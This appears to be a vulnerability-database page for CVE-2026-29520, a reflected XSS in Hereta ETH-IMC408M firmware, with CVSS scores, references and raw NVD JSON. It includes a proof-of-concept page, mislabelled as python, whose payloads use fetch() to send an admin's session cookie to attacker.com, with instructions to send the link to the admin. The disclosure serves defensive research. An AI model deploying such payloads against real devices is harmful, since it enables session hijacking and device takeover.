CVE-2026-29520

Description

Hereta ETH-IMC408M firmware version 1.0.15 and prior contain a reflected cross-site scripting vulnerability in the Network Diagnosis ping function that allows attackers to execute arbitrary JavaScript. Attackers can craft malicious links with injected script payloads in the ping_ipaddr parameter to compromise authenticated administrator sessions when the links are visited.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:hereta:eth-imc408m_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:hereta:eth-imc408m:-:*:*:*:*:*:*:* - NOT VULNERABLE

Hereta ETH-IMC408M firmware <= 1.0.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-29520 PoC: Reflected XSS in Hereta ETH-IMC408M ping_ipaddr parameter -->
<!-- This PoC demonstrates the XSS vulnerability in the ping function -->
<!-- Usage: Replace TARGET_IP and send the crafted URL to the authenticated admin -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-29520 PoC</title>
</head>
<body>
    <h1>CVE-2026-29520 - Reflected XSS PoC</h1>
    <p>Target: Hereta ETH-IMC408M Firmware <= 1.0.15</p>
    
    <script>
        // JavaScript payload to steal admin session cookies
        var payload = '<script>fetch("https://attacker.com/steal?cookie="+encodeURIComponent(document.cookie))</script>';
        
        // Alternative payload - session hijacking
        var altPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">';
        
        // Display the exploit URL
        var targetIP = prompt("Enter target device IP:", "192.168.1.1");
        var exploitURL = 'http://' + targetIP + '/cgi-bin/ping?ping_ipaddr=' + encodeURIComponent(payload);
        
        document.write('<p>Exploit URL:</p>');
        document.write('<a href="' + exploitURL + '">' + exploitURL + '</a>');
        document.write('<p>Send this URL to the authenticated admin to steal session cookies.</p>');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29520
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29520
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29520/
[4] VulDB https://vuldb.com/cve/CVE-2026-29520
[5] https://web.archive.org/web/20250820105319/http://hereta.com/
[6] https://www.vulncheck.com/advisories/hereta-eth-imc408m-reflected-xss-via-ping-ipaddr-parameter

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29520", "sourceIdentifier": "[email protected]", "published": "2026-03-16T18:16:08.347", "lastModified": "2026-04-10T17:43:45.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hereta ETH-IMC408M firmware version 1.0.15 and prior contain a reflected cross-site scripting vulnerability in the Network Diagnosis ping function that allows attackers to execute arbitrary JavaScript. Attackers can craft malicious links with injected script payloads in the ping_ipaddr parameter to compromise authenticated administrator sessions when the links are visited."}, {"lang": "es", "value": "El firmware Hereta ETH-IMC408M versión 1.0.15 y anteriores contienen una vulnerabilidad de cross-site scripting reflejado en la función de ping de Diagnóstico de Red que permite a los atacantes ejecutar JavaScript arbitrario. Los atacantes pueden crear enlaces maliciosos con cargas útiles de script inyectadas en el parámetro ping_ipaddr para comprometer sesiones de administrador autenticadas cuando se visitan los enlaces."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hereta:eth-imc408m_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.0.15", "matchCriteriaId": "9E114378-9A8F-4EC3-A7B3-89DF7D6BBEC0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:hereta:eth-imc408m:-:*:*:*:*:*:*:*", "matchCriteriaId": "D3C670E1-A5ED-4FC7-8150-0B62411371F9"}]}]}], "references": [{"url": "https://web.archive.org/web/20250820105319/http://hereta.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/hereta-eth-imc408m-reflected-xss-via-ping-ipaddr-parameter", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}